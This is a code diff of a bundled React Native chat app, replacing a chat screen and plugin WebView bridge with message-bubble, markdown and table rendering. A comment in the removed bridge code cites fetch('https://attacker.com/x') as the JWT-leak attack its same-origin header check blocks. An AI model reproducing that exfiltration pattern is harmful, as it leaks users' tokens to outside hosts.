+ label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
1078
+ }
1079
+ return /* @__PURE__ */ jsx8(View7, { style: separatorStyles.container, children: /* @__PURE__ */ jsx8(View7, { style: separatorStyles.pill, children: /* @__PURE__ */ jsx8(Text6, { style: separatorStyles.text, children: label }) }) });
1080
+ }
1081
+ function isSameDay(a, b) {
972
1082
  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
973
1083
  }
974
- function AdasChatScreen({
975
- onCallStart,
976
- placeholder,
977
- footerAccessory,
978
- withLightbox = true
979
- }) {
980
- const messages = useChatStore((s) => s.messages);
981
- const loading = useChatStore((s) => s.loading);
982
- const conversationLoaded = useChatStore((s) => s.conversationLoaded);
983
- const loadConversation = useChatStore((s) => s.loadConversation);
984
- const sendMessage = useChatStore((s) => s.sendMessage);
985
- const listRef = useRef3(null);
986
- const [refreshing, setRefreshing] = useState4(false);
987
- const [prefill, setPrefill] = useState4("");
988
- useEffect3(() => {
989
- if (!conversationLoaded) loadConversation();
990
- }, [conversationLoaded, loadConversation]);
991
- useEffect3(() => {
992
- const unsub = pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
993
- if (text) setPrefill(text);
994
- });
995
- return unsub;
996
- }, []);
997
- const useInverted = Platform5.OS !== "web";
998
- const listData = useMemo(
999
- () => useInverted ? [...messages].reverse() : messages,
1000
- [messages, useInverted]
1001
- );
1002
- const scrollToLatest = useCallback3((animated) => {
1003
- if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
1004
- else listRef.current?.scrollToEnd({ animated });
1005
- }, [useInverted]);
1006
- const handleSend = useCallback3((text) => {
1007
- setPrefill("");
1008
- sendMessage(text);
1009
- scrollToLatest(true);
1010
- }, [sendMessage, scrollToLatest]);
1011
- const handleRefresh = useCallback3(async () => {
1012
- setRefreshing(true);
1084
+ var separatorStyles = StyleSheet6.create({
1085
+ container: {
1086
+ alignItems: "center",
1087
+ marginVertical: 14
1088
+ },
1089
+ pill: {
1090
+ backgroundColor: ada6.paperSoft,
1091
+ paddingHorizontal: 14,
1092
+ paddingVertical: 5,
1093
+ borderRadius: 999
1094
+ },
1095
+ text: {
1096
+ fontSize: 12,
1097
+ fontWeight: "600",
1098
+ color: ada6.inkMuted,
1099
+ letterSpacing: 0.4,
1100
+ fontFamily: fontFam3
1101
+ }
1102
+ });
1103
+ function MessageBubble({ message }) {
1104
+ const isUser = message.role === "user";
1105
+ const isSystem = message.role === "system";
1106
+ const isNotification = !isUser && message.kind === "notification";
1107
+ const [copied, setCopied] = useState4("");
1108
+ const showCopied = useCallback3((label) => {
1109
+ setCopied(label);
1110
+ getHaptics2()?.notification("success");
1111
+ setTimeout(() => setCopied(""), 1500);
1112
+ }, []);
1113
+ const copyText = useCallback3(async (text) => {
1114
+ const clipboard = getClipboard();
1115
+ if (!clipboard) return;
1116
+ await clipboard.setString(text);
1117
+ showCopied("Copied!");
1118
+ }, [showCopied]);
1119
+ const handleLongPress = useCallback3(() => {
1120
+ copyText(message.content);
1121
+ }, [message.content, copyText]);
1122
+ return /* @__PURE__ */ jsxs6(View7, { style: [styles6.row, isUser && styles6.rowUser], children: [
1123
+ !isUser && !isNotification && /* @__PURE__ */ jsx8(View7, { style: styles6.avatarOrb, children: /* @__PURE__ */ jsx8(
1124
+ AdaOrb,
1125
+ {
1126
+ size: 28,
1127
+ state: message.jobProgress?.status === "running" ? "thinking" : "idle"
1128
+ }
1129
+ ) }),
1130
+ isNotification && /* @__PURE__ */ jsx8(View7, { style: styles6.notificationLeftStripe }),
1131
+ /* @__PURE__ */ jsxs6(
1132
+ Pressable3,
1133
+ {
1134
+ accessibilityRole: "text",
1135
+ accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
1136
+ accessibilityHint: "Long-press to copy",
1137
+ onLongPress: handleLongPress,
1138
+ style: [
1139
+ styles6.bubble,
1140
+ isUser && styles6.bubbleUser,
1141
+ isSystem && styles6.bubbleSystem,
1142
+ isNotification && styles6.bubbleNotification
1143
+ ],
1144
+ children: [
1145
+ isNotification && /* @__PURE__ */ jsxs6(View7, { style: styles6.notificationHeader, children: [
1146
+ /* @__PURE__ */ jsx8(Text6, { style: styles6.notificationHeaderIcon, children: "\u{1F514}" }),
1147
+ /* @__PURE__ */ jsx8(Text6, { style: styles6.notificationHeaderText, children: "Notification" })
1148
+ ] }),
1149
+ message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx8(View7, { style: styles6.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx8(
1150
+ Pressable3,
1151
+ {
1152
+ accessibilityRole: "imagebutton",
1153
+ accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
1154
+ onPress: () => useLightboxStore.getState().show(att.previewUri),
1155
+ children: /* @__PURE__ */ jsx8(
1156
+ Image,
1157
+ {
1158
+ source: {
1159
+ uri: att.previewUri,
1160
+ ...att.previewUri.startsWith("http") ? {
1161
+ headers: { Authorization: `Bearer ${getConfig2().tokenProvider.getToken()}` }
1162
+ } : {}
1163
+ },
1164
+ style: styles6.attachmentImage,
1165
+ resizeMode: "cover",
1166
+ onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
1167
+ }
1168
+ )
1169
+ },
1170
+ i
1171
+ ) : /* @__PURE__ */ jsx8(View7, { style: styles6.attachmentFile, children: /* @__PURE__ */ jsx8(Text6, { style: styles6.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
1172
+ isUser ? (
1173
+ // Hide the "See attachment" placeholder when the bubble already shows the photo.
1174
+ message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx8(Text6, { selectable: true, style: styles6.userText, children: message.content }) : null
1175
+ ) : renderAssistantContent(message.content, copyText),
1176
+ !!copied && /* @__PURE__ */ jsx8(View7, { style: styles6.copiedBadge, children: /* @__PURE__ */ jsx8(Text6, { style: styles6.copiedText, children: copied }) }),
1177
+ message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx8(ToolCallsBadge, { calls: message.toolCalls }),
1178
+ message.jobProgress && /* @__PURE__ */ jsx8(JobProgressBar, { progress: message.jobProgress }),
1179
+ !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx8(UIActionsRow, { actions: message.actions }),
1180
+ /* @__PURE__ */ jsx8(Text6, { style: [styles6.timeText, isUser && styles6.timeTextUser], children: formatTime(message.timestamp) })
1181
+ ]
1182
+ }
1183
+ ),
1184
+ isUser && /* @__PURE__ */ jsx8(View7, { style: styles6.avatarSpacer })
1185
+ ] });
1186
+ }
1187
+ function renderAssistantContent(content, copyText) {
1188
+ if (!content) return null;
1189
+ if (!content.includes(TABLE_BLOCK_OPEN)) {
1190
+ return /* @__PURE__ */ jsx8(MarkdownBubble, { content, copyText });
1191
+ }
1192
+ const segments = [];
1193
+ let cursor = 0;
1194
+ while (cursor < content.length) {
1195
+ const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
1196
+ if (open === -1) {
1197
+ segments.push({ kind: "md", content: content.slice(cursor) });
1198
+ break;
1199
+ }
1200
+ if (open > cursor) {
1201
+ segments.push({ kind: "md", content: content.slice(cursor, open) });
1202
+ }
1203
+ const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
1204
+ if (close === -1) {
1205
+ segments.push({ kind: "md", content: content.slice(open) });
1206
+ break;
1207
+ }
1208
+ const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
1209
+ segments.push({ kind: "table", content: payload });
1210
+ cursor = close + TABLE_BLOCK_CLOSE.length;
1211
+ }
1212
+ return /* @__PURE__ */ jsx8(Fragment, { children: segments.map((seg, i) => {
1213
+ if (seg.kind === "md") {
1214
+ const trimmed = seg.content.trim();
1215
+ if (!trimmed) return null;
1216
+ return /* @__PURE__ */ jsx8(MarkdownBubble, { content: seg.content, copyText }, i);
1217
+ }
1013
1218
  try {
1014
- await loadConversation();
1219
+ const data = JSON.parse(decodeURIComponent(seg.content));
1220
+ return /* @__PURE__ */ jsx8(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
1015
1221
  } catch {
1222
+ return null;
1016
1223
  }
1017
- setRefreshing(false);
1018
- }, [loadConversation]);
1019
- const renderItem = useCallback3(({ item, index }) => {
1020
- const older = useInverted ? listData[index + 1] : listData[index - 1];
1021
- const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
1022
- return /* @__PURE__ */ jsxs7(View8, { children: [
1023
- showDaySep && /* @__PURE__ */ jsx8(DaySeparator, { date: item.timestamp }),
1024
- /* @__PURE__ */ jsx8(MessageBubble, { message: item })
1025
- ] });
1026
- }, [listData, useInverted]);
1027
- const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx8(TypingIndicator, {}) : null;
1028
- return /* @__PURE__ */ jsxs7(
1029
- KeyboardAvoidingView,
1224
+ }) });
1225
+ }
1226
+ function MarkdownBubble({ content, copyText }) {
1227
+ return /* @__PURE__ */ jsx8(
1228
+ Markdown,
1030
1229
  {
1031
- style: styles8.root,
1032
- behavior: Platform5.OS === "ios" ? "padding" : void 0,
1033
- children: [
1034
- /* @__PURE__ */ jsx8(
1035
- FlatList,
1230
+ style: markdownStyles,
1231
+ rules: {
1232
+ code_inline: (node) => /* @__PURE__ */ jsx8(
1233
+ Text6,
1036
1234
  {
1037
- ref: listRef,
1038
- style: styles8.list,
1039
- data: listData,
1040
- inverted: useInverted,
1041
- keyExtractor: (m) => m.id,
1042
- renderItem,
1043
- ListHeaderComponent: useInverted ? typingIndicator : null,
1044
- ListFooterComponent: useInverted ? null : typingIndicator,
1045
- onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
1046
- refreshControl: /* @__PURE__ */ jsx8(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada5.orange }),
1047
- keyboardShouldPersistTaps: "handled",
1048
- contentContainerStyle: styles8.listContent
1049
- }
1235
+ style: markdownStyles.code_inline,
1236
+ onPress: () => copyText(node.content),
1237
+ children: node.content
1238
+ },
1239
+ node.key
1050
1240
  ),
1051
- footerAccessory,
1052
- /* @__PURE__ */ jsx8(
1053
- ChatInput,
1241
+ fence: (node) => /* @__PURE__ */ jsx8(
1242
+ Pressable3,
1054
1243
  {
1055
- onSend: handleSend,
1056
- onCallStart,
1057
- loading,
1058
- prefill,
1059
- placeholder
1060
- }
1061
- ),
1062
- withLightbox && /* @__PURE__ */ jsx8(Lightbox, {})
1063
- ]
1244
+ onPress: () => copyText(node.content),
1245
+ style: markdownStyles.fence,
1246
+ children: /* @__PURE__ */ jsx8(Text6, { style: markdownStyles.fenceText, children: node.content })
1247
+ },
1248
+ node.key
1249
+ )
1250
+ },
1251
+ children: content
1064
1252
  }
1065
1253
  );
1066
1254
  }
1067
- var styles8 = StyleSheet8.create({
1068
- root: {
1069
- flex: 1,
1070
- backgroundColor: ada5.paper
1255
+ function ToolCallsBadge({ calls }) {
1256
+ const [expanded, setExpanded] = useState4(false);
1257
+ const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
1258
+ return /* @__PURE__ */ jsxs6(View7, { style: styles6.toolCalls, children: [
1259
+ /* @__PURE__ */ jsxs6(Pressable3, { style: styles6.toolToggle, onPress: () => setExpanded(!expanded), children: [
1260
+ /* @__PURE__ */ jsx8(Text6, { style: styles6.toolLabel, children: label }),
1261
+ /* @__PURE__ */ jsx8(Text6, { style: styles6.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
1262
+ ] }),
1263
+ expanded && calls.map((tc, i) => /* @__PURE__ */ jsxs6(View7, { style: styles6.toolItem, children: [
1264
+ /* @__PURE__ */ jsx8(Text6, { style: styles6.toolName, children: tc.name }),
1265
+ tc.skill && /* @__PURE__ */ jsx8(Text6, { style: styles6.toolSkill, children: tc.skill })
1266
+ ] }, i))
1267
+ ] });
1268
+ }
1269
+ var styles6 = StyleSheet6.create({
1270
+ row: {
1271
+ flexDirection: "row",
1272
+ alignItems: "flex-end",
1273
+ marginBottom: 12,
1274
+ paddingHorizontal: 12,
1275
+ gap: 8
1071
1276
  },
1072
- list: {
1073
- flex: 1
1277
+ rowUser: {
1278
+ justifyContent: "flex-end"
1074
1279
  },
1075
- listContent: {
1280
+ avatarOrb: {
1281
+ width: 28,
1282
+ height: 28,
1283
+ justifyContent: "center",
1284
+ alignItems: "center"
1285
+ },
1286
+ avatarSpacer: {
1287
+ width: 28,
1288
+ height: 28
1289
+ },
1290
+ bubble: {
1291
+ maxWidth: "78%",
1292
+ backgroundColor: ada6.botBubble,
1293
+ borderWidth: 1,
1294
+ borderColor: ada6.botBubbleBorder,
1295
+ borderRadius: borderRadius3.xl,
1296
+ paddingHorizontal: 16,
1076
1297
  paddingVertical: 12
1298
+ },
1299
+ bubbleUser: {
1300
+ backgroundColor: ada6.userBubble,
1301
+ borderColor: "transparent"
1302
+ },
1303
+ bubbleSystem: {
1304
+ backgroundColor: ada6.orangeSoft,
1305
+ borderColor: ada6.orange,
1306
+ maxWidth: "90%"
1307
+ },
1308
+ bubbleNotification: {
1309
+ backgroundColor: ada6.orangeSoft,
1310
+ borderColor: "rgba(255, 122, 40, 0.35)",
1311
+ borderRadius: borderRadius3.lg,
1312
+ maxWidth: "90%"
1313
+ },
1314
+ notificationLeftStripe: {
1315
+ width: 3,
1316
+ alignSelf: "stretch",
1317
+ backgroundColor: ada6.orange,
1318
+ borderRadius: 2,
1319
+ marginRight: 4
1320
+ },
1321
+ notificationHeader: {
1322
+ flexDirection: "row",
1323
+ alignItems: "center",
1324
+ gap: 6,
1325
+ marginBottom: 6
1326
+ },
1327
+ notificationHeaderIcon: {
1328
+ fontSize: 12
1329
+ },
1330
+ notificationHeaderText: {
1331
+ color: ada6.orangeDeep,
1332
+ fontSize: 11,
1333
+ fontWeight: "700",
1334
+ letterSpacing: 0.6,
1335
+ textTransform: "uppercase",
1336
+ fontFamily: fontFam3
1337
+ },
1338
+ userText: {
1339
+ color: ada6.userBubbleText,
1340
+ fontSize: fontSize4.md,
1341
+ lineHeight: 22,
1342
+ fontFamily: fontFam3
1343
+ },
1344
+ timeText: {
1345
+ fontSize: 11,
1346
+ color: ada6.inkMuted,
1347
+ alignSelf: "flex-end",
1348
+ marginTop: 4,
1349
+ fontFamily: fontFam3
1350
+ },
1351
+ timeTextUser: {
1352
+ color: "rgba(250,246,238,0.55)"
1353
+ },
1354
+ attachments: {
1355
+ flexDirection: "row",
1356
+ flexWrap: "wrap",
1357
+ gap: 6,
1358
+ marginBottom: 8
1359
+ },
1360
+ attachmentImage: {
1361
+ width: 120,
1362
+ height: 90,
1363
+ borderRadius: 8
1364
+ },
1365
+ attachmentFile: {
1366
+ backgroundColor: "rgba(255,255,255,0.15)",
1367
+ borderRadius: 8,
1368
+ paddingHorizontal: 10,
1369
+ paddingVertical: 6
1370
+ },
1371
+ attachmentFileName: {
1372
+ color: "rgba(255,255,255,0.8)",
1373
+ fontSize: 11,
1374
+ maxWidth: 100
1375
+ },
1376
+ copiedBadge: {
1377
+ position: "absolute",
1378
+ top: 6,
1379
+ right: 6,
1380
+ backgroundColor: "#5A8A5C",
1381
+ paddingHorizontal: 8,
1382
+ paddingVertical: 2,
1383
+ borderRadius: borderRadius3.sm
1384
+ },
1385
+ copiedText: {
1386
+ color: "#fff",
1387
+ fontSize: fontSize4.xs,
1388
+ fontWeight: "600"
1389
+ },
1390
+ toolCalls: {
1391
+ marginTop: 8,
1392
+ borderTopWidth: 1,
1393
+ borderTopColor: ada6.border,
1394
+ paddingTop: 6
1395
+ },
1396
+ toolToggle: {
1397
+ flexDirection: "row",
1398
+ alignItems: "center",
1399
+ gap: 6
1400
+ },
1401
+ toolLabel: {
1402
+ color: ada6.inkSoft,
1403
+ fontSize: fontSize4.xs,
1404
+ fontWeight: "500"
1405
+ },
1406
+ toolChevron: {
1407
+ color: ada6.inkMuted,
1408
+ fontSize: 8
1409
+ },
1410
+ toolItem: {
1411
+ marginTop: 4,
1412
+ paddingLeft: 8
1413
+ },
1414
+ toolName: {
1415
+ color: ada6.inkSoft,
1416
+ fontSize: fontSize4.xs,
1417
+ fontFamily: "monospace"
1418
+ },
1419
+ toolSkill: {
1420
+ color: ada6.orangeDeep,
1421
+ fontSize: fontSize4.xs
1077
1422
  }
1078
- });
1079
-
1080
- // src/plugin/Plugin.tsx
1081
- import React, { useMemo as useMemo3 } from "react";
1082
- import { View as View10, Text as Text7, Pressable as Pressable5, ActivityIndicator as ActivityIndicator2, StyleSheet as StyleSheet10 } from "react-native";
1083
- import { getTenant as getTenant3, getUser, colors as colors2 } from "@ateam-ai-mobile/core";
1084
- import {
1085
- usePlugin,
1086
- useNativeBridge,
1087
- usePluginTheme,
1088
- getPluginNative
1089
- } from "@ateam-ai-mobile/plugin-runtime";
1090
-
1091
- // src/plugin/EmbeddedPluginWebView.tsx
1092
- import { useState as useState5, useMemo as useMemo2, useCallback as useCallback5 } from "react";
1093
- import { View as View9, Text as Text6, ActivityIndicator, StyleSheet as StyleSheet9, Platform as Platform6 } from "react-native";
1094
- import { WebView } from "react-native-webview";
1095
- import { getConfig as getConfig3, getCoreApiUrl, getTenant as getTenant2, getToken, ada as ada6 } from "@ateam-ai-mobile/core";
1096
- import { resolvePluginUrl } from "@ateam-ai-mobile/plugin-runtime";
1097
-
1098
- // src/plugin/usePluginBridge.ts
1099
- import { useCallback as useCallback4, useEffect as useEffect4, useRef as useRef4 } from "react";
1100
- import {
1101
- getTenant,
1102
- connectorCall,
1103
- mcpFetch,
1104
- mcpToolCall,
1105
- postCommandResult,
1106
- pluginCommandEmitter as pluginCommandEmitter2
1107
- } from "@ateam-ai-mobile/core";
1108
- function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1109
- const webViewRef = useRef4(null);
1110
- const sendInit = useCallback4(() => {
1111
- const msg = JSON.stringify({
1112
- source: "adas-host",
1113
- pluginId,
1114
- message: {
1115
- type: "init",
1116
- payload: {
1117
- tenant: getTenant(),
1118
- connectorId: connectorId || null,
1119
- mcpEndpoint: null,
1120
- slug: null,
1121
- skillSlug: null
1122
- }
1123
- }
1124
- });
1125
- webViewRef.current?.postMessage(msg);
1126
- }, [pluginId, connectorId]);
1127
- const sendToPlugin = useCallback4(
1128
- (type, payload) => {
1129
- const msg = JSON.stringify({
1130
- source: "adas-host",
1131
- message: { type, payload }
1132
- });
1133
- webViewRef.current?.postMessage(msg);
1134
- },
1135
- []
1136
- );
1137
- const dispatchToWebView = useCallback4((cmd) => {
1138
- if (cmd.command === "__focus") return;
1139
- const msg = JSON.stringify({
1140
- source: "adas-host",
1141
- pluginId,
1142
- message: {
1143
- type: "plugin.command",
1144
- payload: {
1145
- command: cmd.command,
1146
- args: cmd.args,
1147
- correlationId: cmd.correlationId
1148
- }
1149
- }
1150
- });
1151
- webViewRef.current?.postMessage(msg);
1152
- }, [pluginId]);
1153
- useEffect4(() => {
1154
- const unsub = pluginCommandEmitter2.on("plugin-command", (cmd) => {
1155
- if (cmd.pluginId !== pluginId) return;
1156
- dispatchToWebView(cmd);
1157
- });
1158
- return unsub;
1159
- }, [pluginId, dispatchToWebView]);
1160
- useEffect4(() => {
1161
- if (!commandBufferRef) return;
1162
- const timer = setTimeout(() => {
1163
- const buf = commandBufferRef.current;
1164
- const remaining = [];
1165
- for (const cmd of buf) {
1166
- if (cmd.pluginId === pluginId) {
1167
- dispatchToWebView(cmd);
1168
- } else {
1169
- remaining.push(cmd);
1170
- }
1171
- }
1172
- commandBufferRef.current = remaining;
1173
- }, 1e3);
1174
- return () => clearTimeout(timer);
1175
- }, [pluginId, commandBufferRef, dispatchToWebView]);
1176
- const handleMessage = useCallback4(
1177
- async (event) => {
1178
- let data;
1179
- try {
1180
- data = JSON.parse(event.nativeEvent.data);
1181
- } catch {
1182
- return;
1183
- }
1184
- if (data.source !== "adas-plugin") return;
1185
- const action = data.message?.action || data.action;
1186
- const payload = data.message?.payload || data.payload;
1187
- const type = data.message?.type || data.type;
1188
- if (action === "mcp-fetch" && payload?.requestId) {
1189
- const { requestId, body } = payload;
1190
- try {
1191
- const result = await mcpFetch(body);
1192
- sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
1193
- } catch (err) {
1194
- console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
1195
- sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
1196
- }
1197
- return;
1198
- }
1199
- if (action === "mcp-call" && payload?.requestId) {
1200
- const { requestId, toolName, args: callArgs } = payload;
1201
- if (toolName) {
1202
- try {
1203
- const rpcResponse = await mcpToolCall(toolName, callArgs || {});
1204
- const result = rpcResponse?.result ?? rpcResponse;
1205
- sendToPlugin("mcp-result", { requestId, result, error: null });
1206
- } catch (err) {
1207
- sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
1208
- }
1209
- return;
1210
- }
1211
- const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
1212
- const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
1213
- const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
1214
- if (!cId || !tool) {
1215
- console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
1216
- sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
1217
- return;
1218
- }
1219
- try {
1220
- const data2 = await connectorCall(cId, tool, toolArgs);
1221
- if (data2.ok) {
1222
- sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
1223
- } else {
1224
- sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
1225
- }
1226
- } catch (err) {
1227
- sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
1228
- }
1229
- return;
1230
- }
1231
- if (action === "close") {
1232
- pluginCommandEmitter2.emit("plugin-close", { pluginId });
1233
- return;
1234
- }
1235
- if (type === "plugin.command.result" && payload?.correlationId) {
1236
- const ws = wsRef?.current;
1237
- if (ws && ws.readyState === WebSocket.OPEN) {
1238
- try {
1239
- ws.send(JSON.stringify({
1240
- type: "plugin-command-result",
1241
- correlationId: payload.correlationId,
1242
- result: payload.result,
1243
- error: payload.error
1244
- }));
1245
- } catch (err) {
1246
- console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
1247
- await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
1248
- });
1249
- }
1250
- } else {
1251
- try {
1252
- await postCommandResult(payload.correlationId, payload.result, payload.error);
1253
- } catch (err) {
1254
- console.warn("[PluginBridge] Failed to send command result:", err.message);
1255
- }
1256
- }
1257
- return;
1258
- }
1259
- },
1260
- [sendToPlugin]
1261
- );
1262
- return {
1263
- webViewRef,
1264
- sendInit,
1265
- handleMessage
1266
- };
1267
- }
1268
- function buildPluginBridgeJS(jwt, tenant) {
1269
- return `
1270
- (function() {
1271
- function _dbg(msg) {
1272
- console.log('[PluginBridge] ' + msg);
1273
- }
1274
-
1275
- // 1. Seed localStorage. JWT is required by web-shared plugin code
1276
- // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
1277
- // lives in EmbeddedPluginWebView (originWhitelist +
1278
- // onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
1279
- try {
1280
- localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
1281
- localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
1282
- _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
1283
- } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
1284
-
1285
- // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
1286
- var _origFetch = window.fetch.bind(window);
1287
- var _mcpReqId = 0;
1288
- var _pendingMcp = {};
1289
-
1290
- window.fetch = function(url, opts) {
1291
- var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
1292
- var method = (opts && opts.method) || 'GET';
1293
-
1294
- _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
1295
-
1296
- // Intercept /mcp calls
1297
- if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
1298
- _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
1299
- return new Promise(function(resolve, reject) {
1300
- var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
1301
- _pendingMcp[requestId] = { resolve: resolve, reject: reject };
1302
- window.ReactNativeWebView.postMessage(JSON.stringify({
1303
- source: 'adas-plugin',
1304
- action: 'mcp-fetch',
1305
- payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
1306
- }));
1307
- setTimeout(function() {
1308
- if (_pendingMcp[requestId]) {
1309
- delete _pendingMcp[requestId];
1310
- _dbg('TIMEOUT mcp-fetch ' + requestId);
1311
- reject(new Error('MCP fetch timeout (30s)'));
1312
- }
1313
- }, 30000);
1314
- });
1315
- }
1316
-
1317
- // Inject Authorization header ONLY for same-origin requests. A relative
1318
- // path resolves against window.location.origin; an absolute URL must
1319
- // literally match. This stops a plugin from leaking the JWT to a foreign
1320
- // host via fetch('https://attacker.com/x') or via <base href>.
1321
- var sameOrigin = false;
1322
- try {
1323
- var resolved = new URL(urlStr, window.location.origin);
1324
- sameOrigin = (resolved.origin === window.location.origin);
1325
- } catch (_) { sameOrigin = false; }
1326
- if (sameOrigin) {
1327
- opts = Object.assign({}, opts || {});
1328
- var h = opts.headers;
1329
- if (h instanceof Headers) {
1330
- if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
1331
- } else {
1332
- h = Object.assign({}, h || {});
1333
- if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
1334
- opts.headers = h;
1335
- }
1336
- }
1337
-
1338
- return _origFetch(url, opts).then(function(res) {
1339
- _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
1340
- return res;
1341
- }).catch(function(err) {
1342
- _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
1343
- throw err;
1344
- });
1345
- };
1346
-
1347
- // Handle results from RN host
1348
- function _handleHostMessage(d) {
1349
- if (!d || d.source !== 'adas-host') return;
1350
- var msg = d.message || {};
1351
-
1352
- // mcp-fetch-result: response to intercepted fetch("/mcp")
1353
- if (msg.type === 'mcp-fetch-result' && msg.payload) {
1354
- var p = msg.payload;
1355
- var pending = _pendingMcp[p.requestId];
1356
- if (pending) {
1357
- delete _pendingMcp[p.requestId];
1358
- if (p.error) {
1359
- pending.reject(new Error(p.error));
1360
- } else {
1361
- pending.resolve(new Response(JSON.stringify(p.result), {
1362
- status: 200,
1363
- headers: { 'Content-Type': 'application/json' }
1364
- }));
1365
- }
1366
- }
1367
- }
1423
+ });
1424
+ var markdownStyles = StyleSheet6.create({
1425
+ body: {
1426
+ color: ada6.botBubbleText,
1427
+ fontSize: fontSize4.md,
1428
+ lineHeight: 22,
1429
+ fontFamily: fontFam3
1430
+ },
1431
+ paragraph: {
1432
+ marginTop: 0,
1433
+ marginBottom: 4
1434
+ },
1435
+ strong: {
1436
+ fontWeight: "700",
1437
+ color: ada6.botBubbleText
1438
+ },
1439
+ em: {
1440
+ fontStyle: "italic"
1441
+ },
1442
+ code_inline: {
1443
+ backgroundColor: ada6.paperDeep,
1444
+ color: ada6.orangeDeep,
1445
+ paddingHorizontal: 5,
1446
+ paddingVertical: 1,
1447
+ borderRadius: 4,
1448
+ fontFamily: "monospace",
1449
+ fontSize: fontSize4.sm
1450
+ },
1451
+ fence: {
1452
+ backgroundColor: ada6.paperDeep,
1453
+ padding: 10,
1454
+ borderRadius: 10
1455
+ },
1456
+ fenceText: {
1457
+ fontFamily: "monospace",
1458
+ fontSize: fontSize4.sm,
1459
+ color: ada6.ink
1460
+ },
1461
+ link: {
1462
+ color: ada6.orangeDeep
1463
+ },
1464
+ list_item: {
1465
+ color: ada6.botBubbleText
1466
+ },
1467
+ bullet_list: {
1468
+ marginVertical: 4
1368
1469
  }
1470
+ });
1369
1471
 
1370
- // 3. Override window.parent.postMessage (plugins use this in iframes)
1371
- window.parent = window.parent || {};
1372
- window.parent.postMessage = function(data, origin) {
1373
- if (data && data.source === 'adas-plugin') {
1374
- window.ReactNativeWebView.postMessage(JSON.stringify(data));
1375
- }
1376
- };
1377
-
1378
- // 4. Also intercept direct window.postMessage
1379
- var origPost = window.postMessage.bind(window);
1380
- window.postMessage = function(data, origin) {
1381
- if (data && data.source === 'adas-plugin') {
1382
- window.ReactNativeWebView.postMessage(JSON.stringify(data));
1383
- }
1384
- origPost(data, origin);
1385
- };
1386
-
1387
- // 5. Forward messages from RN host -> plugin
1388
- // iOS: window 'message' event, Android: document 'message' event
1389
- window.addEventListener('message', function(e) {
1390
- try {
1391
- var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1392
- if (d && d.source === 'adas-host') {
1393
- _handleHostMessage(d);
1394
- if (typeof e.data === 'string') {
1395
- window.dispatchEvent(new MessageEvent('message', { data: d }));
1396
- }
1397
- }
1398
- } catch(_) {}
1399
- });
1400
-
1401
- document.addEventListener('message', function(e) {
1402
- try {
1403
- var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1404
- _handleHostMessage(d);
1405
- window.dispatchEvent(new MessageEvent('message', { data: d }));
1406
- } catch(_) {}
1407
- });
1408
-
